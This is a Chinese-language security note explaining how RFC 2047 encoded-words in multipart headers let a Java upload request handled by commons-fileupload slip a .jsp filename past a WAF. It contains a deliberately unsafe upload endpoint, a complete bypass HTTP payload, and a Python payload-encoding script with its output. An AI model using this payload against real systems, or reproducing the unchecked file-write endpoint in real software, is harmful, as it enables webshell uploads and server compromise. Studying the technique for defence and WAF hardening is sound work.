绕过waf
当文件上传在使用commons-fileupload处理时,会处理特定的编码,导致可以绕过waf。从Y4tacker师傅博客中看到的,挺有意思的,详情见参考链接,这里做个记录。
引入包:
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3.3</version>
</dependency>
环境demo:
@PostMapping("/upload.do")
@ResponseBody
public String uploadFile(HttpServletRequest request, HttpServletResponse response) throws IOException, ClassNotFoundException {
String path = "/test/src/main/java";
try {
ServletFileUpload servletFileUpload = new ServletFileUpload(new DiskFileItemFactory());
servletFileUpload.setHeaderEncoding("UTF-8");
List<FileItem> fileItems = servletFileUpload.parseRequest(request);
for (FileItem fileItem : fileItems) {
response.getWriter().write(fileItem.getName());
fileItem.write(new File(path+"/"+fileItem.getName()));
}
}catch (Exception e){
}
return "hello desc";
}
payload如下:
POST http://localhost:8081/upload.do HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Content-Type: multipart/form-data; boundary==?gbk?Q?=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=53=4c=43=31=76=45=45=66=53=64=4c=6c=4a=4e=52=59?=
Content-Length: 250
------WebKitFormBoundarySLC1vEEfSdLlJNRY
Content-Disposition: form-data; name="=?utf-8?B?ZmlsZW5hbWU=?=人生短短几个秋"; filename ="=?gbk?Q?=62=62=71=2e=6a=73=70?=不醉不罢休"
hello 5wimming
------WebKitFormBoundarySLC1vEEfSdLlJNRY--
解释如下:
服务器会解析=?和?=之间的内容,其中“人生短短几个秋,不醉不罢休”会自动去除。
其中值还可以通过空白符进行拼接,如:
filename="=?utf-8?B?YmI=?= =?gbk?Q?=71=2e=6a=73?= =?gbk?Q?=70?=不醉不罢休"
解析方法如下
import org.apache.commons.fileupload.util.mime.MimeUtility;
import java.io.UnsupportedEncodingException;
public class Test02 {
public static void main(String[] args) throws UnsupportedEncodingException {
System.out.println(MimeUtility.decodeText("=?utf-8?B?NXdpbW1pbmc=?="));
System.out.println(MimeUtility.decodeText("=?gbk?Q?=35=77=69=6d=6d=69=6e=67?="));
System.out.println(MimeUtility.decodeText("=?gbk?Q?=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=54=79=42=44=6f=4b=76=61=6d=4e=35=38=6c=63=45=77?="));
}
}
制作payload:
import base64
def mutil_encode(encode_name):
encode = encode_name.encode("utf-8")
b = base64.b64encode(encode)
print(f'############[{encode_name}]############')
print('***base64:')
print(f"=?utf-8?B?{b.decode()}?=")
res = ""
for i in encode.decode("gbk"):
tmp = hex(ord(i)).split("0x")[1]
res += f"={tmp}"
print('***Quoted-printable:')
print(f"=?gbk?Q?{res}?=")
if __name__ == '__main__':
mutil_encode('filename')
mutil_encode('bbq.jsp')
mutil_encode('----WebKitFormBoundarySLC1vEEfSdLlJNRY')
输出如下:
############[filename]############
***base64:
=?utf-8?B?ZmlsZW5hbWU=?=
***Quoted-printable:
=?gbk?Q?=66=69=6c=65=6e=61=6d=65?=
############[bbq.jsp]############
***base64:
=?utf-8?B?YmJxLmpzcA==?=
***Quoted-printable:
=?gbk?Q?=62=62=71=2e=6a=73=70?=
############[----WebKitFormBoundarySLC1vEEfSdLlJNRY]############
***base64:
=?utf-8?B?LS0tLVdlYktpdEZvcm1Cb3VuZGFyeVNMQzF2RUVmU2RMbEpOUlk=?=
***Quoted-printable:
=?gbk?Q?=2d=2d=2d=2d=57=65=62=4b=69=74=46=6f=72=6d=42=6f=75=6e=64=61=72=79=53=4c=43=31=76=45=45=66=53=64=4c=6c=4a=4e=52=59?=
所以,
utf-8?B就是base64编码
gbk?Q就是Quoted-printable编码
原理
大概说一下,看下面代码你们就了然了,具体分析可以看参考文章
private static String decodeWord(String word) throws ParseException, UnsupportedEncodingException {
if (!word.startsWith("=?")) {
throw new ParseException("Invalid RFC 2047 encoded-word: " + word);
} else {
int charsetPos = word.indexOf(63, 2);
if (charsetPos == -1) {
throw new ParseException("Missing charset in RFC 2047 encoded-word: " + word);
} else {
String charset = word.substring(2, charsetPos).toLowerCase();
int encodingPos = word.indexOf(63, charsetPos + 1);
if (encodingPos == -1) {
throw new ParseException("Missing encoding in RFC 2047 encoded-word: " + word);
} else {
String encoding = word.substring(charsetPos + 1, encodingPos);
int encodedTextPos = word.indexOf("?=", encodingPos + 1);
if (encodedTextPos == -1) {
throw new ParseException("Missing encoded text in RFC 2047 encoded-word: " + word);
} else {
String encodedText = word.substring(encodingPos + 1, encodedTextPos);
if (encodedText.length() == 0) {
return "";
} else {
try {
ByteArrayOutputStream out = new ByteArrayOutputStream(encodedText.length());
byte[] encodedData = encodedText.getBytes("US-ASCII");
if (encoding.equals("B")) {
Base64Decoder.decode(encodedData, out);
} else {
if (!encoding.equals("Q")) {
throw new UnsupportedEncodingException("Unknown RFC 2047 encoding: " + encoding);
}
QuotedPrintableDecoder.decode(encodedData, out);
}
byte[] decodedData = out.toByteArray();
return new String(decodedData, javaCharset(charset));
} catch (IOException var10) {
throw new UnsupportedEncodingException("Invalid RFC 2047 encoding");
}
}
}
}
}
}
}
参考:
https://y4tacker.github.io/2022/02/25/year/2022/2/Java%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%A4%A7%E6%9D%80%E5%99%A8-%E7%BB%95waf(%E9%92%88%E5%AF%B9commons-fileupload%E7%BB%84%E4%BB%B6)/